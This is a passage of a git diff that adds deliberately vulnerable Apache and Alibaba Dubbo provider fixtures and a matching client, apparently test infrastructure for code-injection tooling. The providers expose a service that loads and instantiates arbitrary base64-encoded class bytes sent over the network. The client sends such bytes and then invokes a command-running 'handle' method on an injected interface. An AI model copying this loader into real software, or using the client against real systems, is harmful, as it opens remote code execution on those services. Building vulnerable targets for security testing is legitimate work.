NetUtils.class.getDeclaredField("LOCAL_ADDRESS"); + localAddressField.setAccessible(true); + localAddressField.set(null, InetAddress.getByName(LOOPBACK_HOST)); + } catch (Exception ignored) { + // Best-effort workaround for Dubbo 2.6.x local address selection on macOS. + } + } +} diff --git a/tools/command/src/dubboClientApache/java/io/github/reajason/dubbo/fixture/client/apache/ApacheDubboClient.java b/tools/command/src/dubboClientApache/java/io/github/reajason/dubbo/fixture/client/apache/ApacheDubboClient.java new file mode 100644 index 00000000..24883d34 --- /dev/null +++ b/tools/command/src/dubboClientApache/java/io/github/reajason/dubbo/fixture/client/apache/ApacheDubboClient.java @@ -0,0 +1,83 @@ +package io.github.reajason.dubbo.fixture.client.apache; + +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; +import io.github.reajason.dubbo.fixture.client.ClientRuntimeSupport; +import org.apache.dubbo.config.ApplicationConfig; +import org.apache.dubbo.config.ReferenceConfig; +import org.apache.dubbo.config.RegistryConfig; +import org.apache.dubbo.rpc.service.GenericService; + +import java.nio.charset.StandardCharsets; + +public class ApacheDubboClient { + + public static void main(String[] args) { + ClientRuntimeSupport.prepareClientJvm(); + if (args.length < 1) { + throw new IllegalArgumentException("usage: load-bytes | run-command "); + } + if ("load-bytes".equals(args[0])) { + if (args.length < 3) { + throw new IllegalArgumentException("usage: load-bytes "); + } + System.out.println(loadBytes(args[1], args[2])); + return; + } + if ("run-command".equals(args[0])) { + if (args.length < 4) { + throw new IllegalArgumentException("usage: run-command "); + } + Object result = runCommand(args[1], args[2], args[3]); + if (result instanceof byte[]) { + System.out.println(new String((byte[]) result, StandardCharsets.UTF_8)); + } else { + System.out.println(String.valueOf(result)); + } + return; + } + throw new IllegalArgumentException("unsupported action: " + args[0]); + } + + public static String loadBytes(String url, String base64) { + ClientRuntimeSupport.prepareClientJvm(); + ReferenceConfig reference = new ReferenceConfig(); + reference.setApplication(new ApplicationConfig("apache-dubbo-load-bytes-client")); + reference.setRegistry(new RegistryConfig("N/A")); + reference.setInterface(BytecodeLoadingService.class); + reference.setCheck(false); + reference.setTimeout(30000); + reference.setRetries(0); + reference.setUrl(url); + + BytecodeLoadingService loadingService = reference.get(); + try { + return loadingService.loadBytes(base64); + } finally { + reference.destroy(); + } + } + + public static Object runCommand(String url, String interfaceName, String command) { + ClientRuntimeSupport.prepareClientJvm(); + ReferenceConfig reference = new ReferenceConfig(); + reference.setApplication(new ApplicationConfig("apache-dubbo-command-client")); + reference.setRegistry(new RegistryConfig("N/A")); + reference.setInterface(interfaceName); + reference.setGeneric(true); + reference.setCheck(false); + reference.setTimeout(30000); + reference.setRetries(0); + reference.setUrl(url); + + GenericService genericService = reference.get(); + try { + return genericService.$invoke( + "handle", + new String[]{byte[].class.getName()}, + new Object[]{command.getBytes(StandardCharsets.UTF_8)} + ); + } finally { + reference.destroy(); + } + } +} diff --git a/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java b/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java new file mode 100644 index 00000000..a634dbdf --- /dev/null +++ b/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java @@ -0,0 +1,5 @@ +package io.github.reajason.dubbo.fixture.api; + +public interface BytecodeLoadingService { + String loadBytes(String base64); +} diff --git a/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/client/ClientRuntimeSupport.java b/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/client/ClientRuntimeSupport.java new file mode 100644 index 00000000..43e49999 --- /dev/null +++ b/tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/client/ClientRuntimeSupport.java @@ -0,0 +1,29 @@ +package io.github.reajason.dubbo.fixture.client; + +public final class ClientRuntimeSupport { + + private static final String[] PROXY_PROPERTIES = new String[]{ + "proxyHost", + "proxyPort", + "http.proxyHost", + "http.proxyPort", + "https.proxyHost", + "https.proxyPort", + "socksProxyHost", + "socksProxyPort", + "ftp.proxyHost", + "ftp.proxyPort" + }; + + private ClientRuntimeSupport() { + } + + public static void prepareClientJvm() { + System.setProperty("dubbo.compiler", "jdk"); + System.setProperty("java.net.preferIPv4Stack", "true"); + System.setProperty("java.net.useSystemProxies", "false"); + for (String property : PROXY_PROPERTIES) { + System.clearProperty(property); + } + } +} diff --git a/vul/vul-dubbo/build.gradle.kts b/vul/vul-dubbo/build.gradle.kts new file mode 100644 index 00000000..810d0a5a --- /dev/null +++ b/vul/vul-dubbo/build.gradle.kts @@ -0,0 +1,240 @@ +plugins { + id("java") + id("idea") +} + +group = "io.github.reajason" +version = rootProject.version + +val dubboProviderCommon: SourceSet by sourceSets.creating +val dubboProviderAlibaba: SourceSet by sourceSets.creating +val dubboProviderApache276: SourceSet by sourceSets.creating +val dubboProviderApache277: SourceSet by sourceSets.creating +val dubboProviderApache278: SourceSet by sourceSets.creating +val dubboProviderApache2723: SourceSet by sourceSets.creating +val dubboProviderApache336: SourceSet by sourceSets.creating + +val dubboProviderCommonImplementation: Configuration by configurations.getting +val dubboProviderAlibabaImplementation: Configuration by configurations.getting +val dubboProviderApache276Implementation: Configuration by configurations.getting +val dubboProviderApache277Implementation: Configuration by configurations.getting +val dubboProviderApache278Implementation: Configuration by configurations.getting +val dubboProviderApache2723Implementation: Configuration by configurations.getting +val dubboProviderApache336Implementation: Configuration by configurations.getting + +val dubboProviderCommonOutput = dubboProviderCommon.output + +dubboProviderAlibaba.compileClasspath += dubboProviderCommonOutput +dubboProviderAlibaba.runtimeClasspath += dubboProviderCommonOutput +dubboProviderApache276.compileClasspath += dubboProviderCommonOutput +dubboProviderApache276.runtimeClasspath += dubboProviderCommonOutput +dubboProviderApache277.compileClasspath += dubboProviderCommonOutput +dubboProviderApache277.runtimeClasspath += dubboProviderCommonOutput +dubboProviderApache278.compileClasspath += dubboProviderCommonOutput +dubboProviderApache278.runtimeClasspath += dubboProviderCommonOutput +dubboProviderApache2723.compileClasspath += dubboProviderCommonOutput +dubboProviderApache2723.runtimeClasspath += dubboProviderCommonOutput +dubboProviderApache336.compileClasspath += dubboProviderCommonOutput +dubboProviderApache336.runtimeClasspath += dubboProviderCommonOutput + +listOf( + "dubboProviderApache336CompileClasspath", + "dubboProviderApache336RuntimeClasspath" +).forEach { configurationName -> + configurations.named(configurationName) { + exclude(group = "io.netty", module = "netty-transport-native-kqueue") + exclude(group = "io.netty", module = "netty-resolver-dns-native-macos") + } +} + +idea { + module { + excludeDirs.add(file("src/main")) + } +} + +dependencies { + dubboProviderCommonImplementation("org.slf4j:slf4j-api:1.7.36") + dubboProviderCommonImplementation("org.apache.dubbo:dubbo:2.7.23") { + exclude(group = "log4j", module = "log4j") + } + + dubboProviderAlibabaImplementation(dubboProviderCommonOutput) + dubboProviderAlibabaImplementation("com.alibaba:dubbo:2.6.12") + dubboProviderAlibabaImplementation("org.apache.dubbo:dubbo:2.7.6") + dubboProviderAlibabaImplementation("com.alibaba:hessian-lite:3.2.4") + dubboProviderAlibabaImplementation("com.caucho:hessian:4.0.51") + dubboProviderAlibabaImplementation("org.apache.httpcomponents:httpclient:4.5.3") + dubboProviderAlibabaImplementation("org.springframework:spring-web:5.3.39") + dubboProviderAlibabaImplementation("io.netty:netty-all:4.1.25.Final") + dubboProviderAlibabaImplementation("org.mortbay.jetty:jetty:6.1.26") + dubboProviderAlibabaImplementation("org.mortbay.jetty:jetty-util:6.1.26") + dubboProviderAlibabaImplementation("org.slf4j:slf4j-api:1.7.36") + dubboProviderAlibabaImplementation("ch.qos.logback:logback-classic:1.2.13") + + fun apacheDubbo27Provider(configuration: Configuration, version: String, tomcatVersion: String) { + add(configuration.name, dubboProviderCommonOutput) + add(configuration.name, "org.apache.dubbo:dubbo:$version") { + exclude(group = "log4j", module = "log4j") + } + add(configuration.name, "com.alibaba:hessian-lite:3.2.4") + add(configuration.name, "com.caucho:hessian:4.0.51") + add(configuration.name, "org.apache.httpcomponents:httpclient:4.5.13") + add(configuration.name, "com.github.briandilley.jsonrpc4j:jsonrpc4j:1.2.0") + add(configuration.name, "org.springframework:spring-web:5.3.39") + add(configuration.name, "org.apache.tomcat.embed:tomcat-embed-core:$tomcatVersion") + add(configuration.name, "org.mortbay.jetty:jetty:6.1.26") + add(configuration.name, "org.mortbay.jetty:jetty-util:6.1.26") + add(configuration.name, "org.slf4j:slf4j-api:1.7.36") + add(configuration.name, "ch.qos.logback:logback-classic:1.2.13") + } + + apacheDubbo27Provider(dubboProviderApache276Implementation, "2.7.6", "8.5.100") + apacheDubbo27Provider(dubboProviderApache277Implementation, "2.7.7", "8.5.100") + apacheDubbo27Provider(dubboProviderApache278Implementation, "2.7.8", "9.0.104") + apacheDubbo27Provider(dubboProviderApache2723Implementation, "2.7.23", "9.0.104") + + dubboProviderApache336Implementation(dubboProviderCommonOutput) + dubboProviderApache336Implementation("org.apache.dubbo:dubbo:3.3.6") { + exclude(group = "log4j", module = "log4j") + } + dubboProviderApache336Implementation("org.apache.dubbo:dubbo-rpc-triple:3.3.6") + dubboProviderApache336Implementation("org.apache.dubbo.extensions:dubbo-rpc-http:3.3.1") + dubboProviderApache336Implementation("org.apache.dubbo.extensions:dubbo-rpc-hessian:3.3.0") + dubboProviderApache336Implementation("org.apache.dubbo:dubbo-remoting-http:3.3.0-beta.2") + dubboProviderApache336Implementation("com.caucho:hessian:4.0.51") + dubboProviderApache336Implementation("io.netty:netty-all:4.1.119.Final") + dubboProviderApache336Implementation("org.slf4j:slf4j-api:2.0.17") + dubboProviderApache336Implementation("ch.qos.logback:logback-classic:1.5.18") +} + +tasks.named(dubboProviderCommon.compileJavaTaskName) { + options.release.set(8) +} + +listOf( + dubboProviderAlibaba, + dubboProviderApache276, + dubboProviderApache277, + dubboProviderApache278, + dubboProviderApache2723, + dubboProviderApache336 +).forEach { sourceSet -> + tasks.named(sourceSet.compileJavaTaskName) { + options.release.set(8) + } +} + +fun registerDubboFatJar( + taskName: String, + sourceSet: SourceSet, + mainClassName: String, + mergeApacheProtocolSpi: Boolean = false +): TaskProvider { + val protocolSpiPath = "META-INF/dubbo/internal/org.apache.dubbo.rpc.Protocol" + val mergedProtocolSpi = layout.buildDirectory.file("generated/$taskName/$protocolSpiPath") + val mergeTask = if (mergeApacheProtocolSpi) { + tasks.register("${taskName}MergeProtocolSpi") { + inputs.files(sourceSet.runtimeClasspath) + outputs.file(mergedProtocolSpi) + doLast { + val outputFile = mergedProtocolSpi.get().asFile + outputFile.parentFile.mkdirs() + val mergedLines = linkedSetOf() + sourceSet.runtimeClasspath.files + .filter { it.extension == "jar" } + .forEach { runtimeJar -> + zipTree(runtimeJar).matching { + include(protocolSpiPath) + }.forEach { spiFile -> + spiFile.readLines() + .map(String::trim) + .filter { it.isNotEmpty() && !it.startsWith("#") } + .forEach(mergedLines::add) + } + } + outputFile.writeText(mergedLines.joinToString(System.lineSeparator())) + } + } + } else { + null + } + + return tasks.register(taskName) { + group = "verification" + archiveClassifier.set(taskName.removePrefix("dubbo").removeSuffix("FatJar").lowercase()) + duplicatesStrategy = DuplicatesStrategy.EXCLUDE + dependsOn(sourceSet.classesTaskName, dubboProviderCommon.classesTaskName) + manifest { + attributes["Main-Class"] = mainClassName + } + from(sourceSet.output) + from(dubboProviderCommon.output) + if (mergeApacheProtocolSpi) { + dependsOn(mergeTask) + from({ + sourceSet.runtimeClasspath.files + .filter { it.exists() } + .map { if (it.isDirectory) it else zipTree(it) } + }) { + includeEmptyDirs = false + exclude(protocolSpiPath) + } + into("META-INF/dubbo/internal") { + from(mergedProtocolSpi) { + rename { "org.apache.dubbo.rpc.Protocol" } + } + } + } else { + from({ + sourceSet.runtimeClasspath.files + .filter { it.exists() } + .map { if (it.isDirectory) it else zipTree(it) } + }) + } + } +} + +val dubboAlibabaProviderFatJar = registerDubboFatJar( + "dubboAlibabaProviderFatJar", + dubboProviderAlibaba, + "io.github.reajason.dubbo.fixture.alibaba.AlibabaDubbo2Provider" +) +val dubboApache276ProviderFatJar = registerDubboFatJar( + "dubboApache276ProviderFatJar", + dubboProviderApache276, + "io.github.reajason.dubbo.fixture.apache2.ApacheDubbo276Provider" +) +val dubboApache277ProviderFatJar = registerDubboFatJar( + "dubboApache277ProviderFatJar", + dubboProviderApache277, + "io.github.reajason.dubbo.fixture.apache2.ApacheDubbo277Provider" +) +val dubboApache278ProviderFatJar = registerDubboFatJar( + "dubboApache278ProviderFatJar", + dubboProviderApache278, + "io.github.reajason.dubbo.fixture.apache2.ApacheDubbo278Provider" +) +val dubboApache2723ProviderFatJar = registerDubboFatJar( + "dubboApache2723ProviderFatJar", + dubboProviderApache2723, + "io.github.reajason.dubbo.fixture.apache2.ApacheDubbo2723Provider" +) +val dubboApache336ProviderFatJar = registerDubboFatJar( + "dubboApache336ProviderFatJar", + dubboProviderApache336, + "io.github.reajason.dubbo.fixture.apache3.ApacheDubbo336Provider", + mergeApacheProtocolSpi = true +) + +tasks.register("dubboProviderFatJars") { + group = "verification" + dependsOn( + dubboAlibabaProviderFatJar, + dubboApache276ProviderFatJar, + dubboApache277ProviderFatJar, + dubboApache278ProviderFatJar, + dubboApache2723ProviderFatJar, + dubboApache336ProviderFatJar + ) +} diff --git a/vul/vul-dubbo/src/dubboProviderAlibaba/java/io/github/reajason/dubbo/fixture/alibaba/AlibabaDubbo2Provider.java b/vul/vul-dubbo/src/dubboProviderAlibaba/java/io/github/reajason/dubbo/fixture/alibaba/AlibabaDubbo2Provider.java new file mode 100644 index 00000000..4d6897f2 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderAlibaba/java/io/github/reajason/dubbo/fixture/alibaba/AlibabaDubbo2Provider.java @@ -0,0 +1,65 @@ +package io.github.reajason.dubbo.fixture.alibaba; + +import com.alibaba.dubbo.config.ApplicationConfig; +import com.alibaba.dubbo.config.ProtocolConfig; +import com.alibaba.dubbo.config.RegistryConfig; +import com.alibaba.dubbo.config.ServiceConfig; +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; +import io.github.reajason.dubbo.fixture.api.DemoService; +import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl; +import io.github.reajason.dubbo.fixture.common.DemoServiceImpl; +import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext; + +import java.util.Arrays; +import java.util.concurrent.CountDownLatch; + +public class AlibabaDubbo2Provider { + + public static void main(String[] args) throws InterruptedException { + System.setProperty("dubbo.compiler", "jdk"); + ApplicationConfig application = new ApplicationConfig("alibaba-dubbo2-provider"); + application.setQosEnable(true); + application.setQosPort(22221); + + ProtocolConfig dubboProtocol = new ProtocolConfig(); + dubboProtocol.setName("dubbo"); + dubboProtocol.setPort(20880); + + ProtocolConfig hessianProtocol = new ProtocolConfig(); + hessianProtocol.setName("hessian"); + hessianProtocol.setPort(28080); + + ProtocolConfig httpProtocol = new ProtocolConfig(); + httpProtocol.setName("http"); + httpProtocol.setPort(28081); + + RegistryConfig registry = new RegistryConfig("N/A"); + LoadBytesExportContext.register(application, registry, Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + + ServiceConfig demoService = new ServiceConfig(); + demoService.setApplication(application); + demoService.setRegistry(registry); + demoService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + demoService.setInterface(DemoService.class); + demoService.setRef(new DemoServiceImpl("alibaba-dubbo-2.6.12")); + demoService.export(); + + ServiceConfig loaderService = new ServiceConfig(); + loaderService.setApplication(application); + loaderService.setRegistry(registry); + loaderService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + loaderService.setInterface(BytecodeLoadingService.class); + loaderService.setRef(new BytecodeLoadingServiceImpl()); + loaderService.export(); + + System.out.println("=============================================="); + System.out.println(" alibaba-dubbo 2.6.12 Provider started"); + System.out.println(" dubbo -> dubbo://127.0.0.1:20880"); + System.out.println(" hessian -> hessian://127.0.0.1:28080"); + System.out.println(" http -> http://127.0.0.1:28081"); + System.out.println(" qos -> 127.0.0.1:22221"); + System.out.println("=============================================="); + + new CountDownLatch(1).await(); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderApache2723/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2723Provider.java b/vul/vul-dubbo/src/dubboProviderApache2723/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2723Provider.java new file mode 100644 index 00000000..ad5b3de5 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderApache2723/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2723Provider.java @@ -0,0 +1,7 @@ +package io.github.reajason.dubbo.fixture.apache2; + +public class ApacheDubbo2723Provider { + public static void main(String[] args) throws InterruptedException { + ApacheDubbo2Provider.start("apache-dubbo-2.7.23", 20881, 28082, 28083, 22222); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderApache276/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo276Provider.java b/vul/vul-dubbo/src/dubboProviderApache276/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo276Provider.java new file mode 100644 index 00000000..5667c6d1 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderApache276/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo276Provider.java @@ -0,0 +1,7 @@ +package io.github.reajason.dubbo.fixture.apache2; + +public class ApacheDubbo276Provider { + public static void main(String[] args) throws InterruptedException { + ApacheDubbo2Provider.start("apache-dubbo-2.7.6", 20885, 28086, 28087, 22226); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderApache277/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo277Provider.java b/vul/vul-dubbo/src/dubboProviderApache277/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo277Provider.java new file mode 100644 index 00000000..05ec9a75 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderApache277/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo277Provider.java @@ -0,0 +1,7 @@ +package io.github.reajason.dubbo.fixture.apache2; + +public class ApacheDubbo277Provider { + public static void main(String[] args) throws InterruptedException { + ApacheDubbo2Provider.start("apache-dubbo-2.7.7", 20886, 28088, 28089, 22227); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderApache278/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo278Provider.java b/vul/vul-dubbo/src/dubboProviderApache278/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo278Provider.java new file mode 100644 index 00000000..65f83de6 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderApache278/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo278Provider.java @@ -0,0 +1,7 @@ +package io.github.reajason.dubbo.fixture.apache2; + +public class ApacheDubbo278Provider { + public static void main(String[] args) throws InterruptedException { + ApacheDubbo2Provider.start("apache-dubbo-2.7.8", 20887, 28090, 28091, 22228); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderApache336/java/io/github/reajason/dubbo/fixture/apache3/ApacheDubbo336Provider.java b/vul/vul-dubbo/src/dubboProviderApache336/java/io/github/reajason/dubbo/fixture/apache3/ApacheDubbo336Provider.java new file mode 100644 index 00000000..66df0a13 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderApache336/java/io/github/reajason/dubbo/fixture/apache3/ApacheDubbo336Provider.java @@ -0,0 +1,65 @@ +package io.github.reajason.dubbo.fixture.apache3; + +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; +import io.github.reajason.dubbo.fixture.api.DemoService; +import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl; +import io.github.reajason.dubbo.fixture.common.DemoServiceImpl; +import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext; +import org.apache.dubbo.config.ApplicationConfig; +import org.apache.dubbo.config.ProtocolConfig; +import org.apache.dubbo.config.RegistryConfig; +import org.apache.dubbo.config.ServiceConfig; +import org.apache.dubbo.config.bootstrap.DubboBootstrap; + +import java.util.Arrays; + +public class ApacheDubbo336Provider { + + public static void main(String[] args) { + System.setProperty("dubbo.compiler", "jdk"); + ApplicationConfig application = new ApplicationConfig("apache-dubbo-3.3.6-provider"); + application.setQosEnable(true); + application.setQosPort(22223); + + RegistryConfig registry = new RegistryConfig("N/A"); + ProtocolConfig dubboProtocol = new ProtocolConfig("dubbo", 20882); + ProtocolConfig triProtocol = new ProtocolConfig("tri", 50051); + ProtocolConfig hessianProtocol = new ProtocolConfig("hessian", 28084); + ProtocolConfig httpProtocol = new ProtocolConfig("http", 28085); + LoadBytesExportContext.register( + application, + registry, + Arrays.asList(dubboProtocol, triProtocol, hessianProtocol, httpProtocol) + ); + + ServiceConfig demoService = new ServiceConfig(); + demoService.setInterface(DemoService.class); + demoService.setRef(new DemoServiceImpl("apache-dubbo-3.3.6")); + + ServiceConfig loaderService = new ServiceConfig(); + loaderService.setInterface(BytecodeLoadingService.class); + loaderService.setRef(new BytecodeLoadingServiceImpl()); + + DubboBootstrap.getInstance() + .application(application) + .registry(registry) + .protocol(dubboProtocol) + .protocol(triProtocol) + .protocol(hessianProtocol) + .protocol(httpProtocol) + .service(demoService) + .service(loaderService) + .start(); + + System.out.println("=============================================="); + System.out.println(" apache-dubbo-3.3.6 Provider started"); + System.out.println(" dubbo -> dubbo://127.0.0.1:20882"); + System.out.println(" tri -> tri://127.0.0.1:50051"); + System.out.println(" hessian -> hessian://127.0.0.1:28084"); + System.out.println(" http -> http://127.0.0.1:28085"); + System.out.println(" qos -> 127.0.0.1:22223"); + System.out.println("=============================================="); + + DubboBootstrap.getInstance().await(); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2Provider.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2Provider.java new file mode 100644 index 00000000..3c1f5e1d --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2Provider.java @@ -0,0 +1,71 @@ +package io.github.reajason.dubbo.fixture.apache2; + +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; +import io.github.reajason.dubbo.fixture.api.DemoService; +import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl; +import io.github.reajason.dubbo.fixture.common.DemoServiceImpl; +import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext; +import org.apache.dubbo.config.ApplicationConfig; +import org.apache.dubbo.config.ProtocolConfig; +import org.apache.dubbo.config.RegistryConfig; +import org.apache.dubbo.config.ServiceConfig; + +import java.util.Arrays; +import java.util.concurrent.CountDownLatch; + +public final class ApacheDubbo2Provider { + + private ApacheDubbo2Provider() { + } + + public static void start(String providerName, int dubboPort, int hessianPort, int httpPort, int qosPort) + throws InterruptedException { + System.setProperty("dubbo.compiler", "jdk"); + ApplicationConfig application = new ApplicationConfig(providerName + "-provider"); + application.setQosEnable(true); + application.setQosPort(qosPort); + + ProtocolConfig dubboProtocol = new ProtocolConfig(); + dubboProtocol.setName("dubbo"); + dubboProtocol.setPort(dubboPort); + + ProtocolConfig hessianProtocol = new ProtocolConfig(); + hessianProtocol.setName("hessian"); + hessianProtocol.setPort(hessianPort); + hessianProtocol.setServer("tomcat"); + + ProtocolConfig httpProtocol = new ProtocolConfig(); + httpProtocol.setName("http"); + httpProtocol.setPort(httpPort); + httpProtocol.setServer("tomcat"); + + RegistryConfig registry = new RegistryConfig("N/A"); + LoadBytesExportContext.register(application, registry, Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + + ServiceConfig demoService = new ServiceConfig(); + demoService.setApplication(application); + demoService.setRegistry(registry); + demoService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + demoService.setInterface(DemoService.class); + demoService.setRef(new DemoServiceImpl(providerName)); + demoService.export(); + + ServiceConfig loaderService = new ServiceConfig(); + loaderService.setApplication(application); + loaderService.setRegistry(registry); + loaderService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + loaderService.setInterface(BytecodeLoadingService.class); + loaderService.setRef(new BytecodeLoadingServiceImpl()); + loaderService.export(); + + System.out.println("=============================================="); + System.out.println(" " + providerName + " Provider started"); + System.out.println(" dubbo -> dubbo://127.0.0.1:" + dubboPort); + System.out.println(" hessian -> hessian://127.0.0.1:" + hessianPort); + System.out.println(" http -> http://127.0.0.1:" + httpPort); + System.out.println(" qos -> 127.0.0.1:" + qosPort); + System.out.println("=============================================="); + + new CountDownLatch(1).await(); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java new file mode 100644 index 00000000..a634dbdf --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java @@ -0,0 +1,5 @@ +package io.github.reajason.dubbo.fixture.api; + +public interface BytecodeLoadingService { + String loadBytes(String base64); +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/DemoService.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/DemoService.java new file mode 100644 index 00000000..7e3620f9 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/DemoService.java @@ -0,0 +1,5 @@ +package io.github.reajason.dubbo.fixture.api; + +public interface DemoService { + String sayHello(String name); +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingServiceImpl.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingServiceImpl.java new file mode 100644 index 00000000..bb0531f2 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingServiceImpl.java @@ -0,0 +1,11 @@ +package io.github.reajason.dubbo.fixture.common; + +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; + +public class BytecodeLoadingServiceImpl implements BytecodeLoadingService { + + @Override + public String loadBytes(String base64) { + return BytecodeLoadingSupport.loadBase64(base64); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingSupport.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingSupport.java new file mode 100644 index 00000000..75381e0b --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingSupport.java @@ -0,0 +1,246 @@ +package io.github.reajason.dubbo.fixture.common; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.security.ProtectionDomain; +import java.util.ArrayList; +import java.util.Base64; +import java.util.List; + +public final class BytecodeLoadingSupport { + + private BytecodeLoadingSupport() { + } + + public static String loadBase64(String base64) { + String normalized = normalizeBase64(base64); + byte[] bytes = Base64.getMimeDecoder().decode(normalized); + return loadClassBytes(bytes); + } + + public static String loadClassBytes(byte[] bytes) { + requireClassBytes(bytes); + try { + return new PayloadClassLoader(hostClassLoader()).defineAndInstantiate(bytes); + } catch (ReflectiveOperationException e) { + throw new IllegalStateException("failed to load bytecode payload", e); + } + } + + private static String normalizeBase64(String base64) { + if (base64 == null) { + throw new IllegalArgumentException("base64 must not be null"); + } + String trimmed = base64.trim(); + if (trimmed.isEmpty()) { + throw new IllegalArgumentException("base64 must not be blank"); + } + return trimmed; + } + + private static void requireClassBytes(byte[] bytes) { + if (bytes == null || bytes.length == 0) { + throw new IllegalArgumentException("class bytes must not be empty"); + } + } + + private static ClassLoader hostClassLoader() { + ClassLoader classLoader = BytecodeLoadingSupport.class.getClassLoader(); + if (classLoader == null) { + classLoader = Thread.currentThread().getContextClassLoader(); + } + return classLoader; + } + + public static Class defineIntoHostClassLoader(String className, byte[] bytes) { + if (className == null || className.trim().isEmpty()) { + throw new IllegalArgumentException("class name must not be blank"); + } + requireClassBytes(bytes); + + ClassLoader classLoader = hostClassLoader(); + Class loadedClass = findLoadedClass(className, classLoader); + if (loadedClass != null) { + return loadedClass; + } + + try { + return defineClass(className, bytes, classLoader); + } catch (LinkageError e) { + loadedClass = findLoadedClass(className, classLoader); + if (loadedClass != null) { + return loadedClass; + } + throw e; + } catch (ReflectiveOperationException e) { + throw new IllegalStateException("failed to define class in host class loader: " + className, e); + } + } + + public static void registerWithDubboClassPool(String className, byte[] bytes) { + if (className == null || className.trim().isEmpty() || bytes == null || bytes.length == 0) { + return; + } + + Class classPoolClass = null; + List classPools = new ArrayList(); + try { + classPoolClass = Class.forName("javassist.ClassPool", false, hostClassLoader()); + classPools.add(classPoolClass.getMethod("getDefault").invoke(null)); + classPools.addAll(dubboClassGeneratorPools()); + + for (Object classPool : classPools) { + if (classPoolContains(classPoolClass, classPool, className)) { + continue; + } + Method makeClass = classPoolClass.getMethod("makeClass", InputStream.class); + makeClass.invoke(classPool, new ByteArrayInputStream(bytes)); + } + } catch (ClassNotFoundException ignored) { + // Javassist is not present for all clients. + } catch (InvocationTargetException e) { + if (classPoolClass != null && anyClassPoolContains(classPoolClass, classPools, className)) { + return; + } + throw new IllegalStateException("failed to register class with Dubbo Javassist pool: " + className, e.getCause()); + } catch (ReflectiveOperationException e) { + throw new IllegalStateException("failed to register class with Dubbo Javassist pool: " + className, e); + } + } + + private static Class findLoadedClass(String className, ClassLoader classLoader) { + try { + return 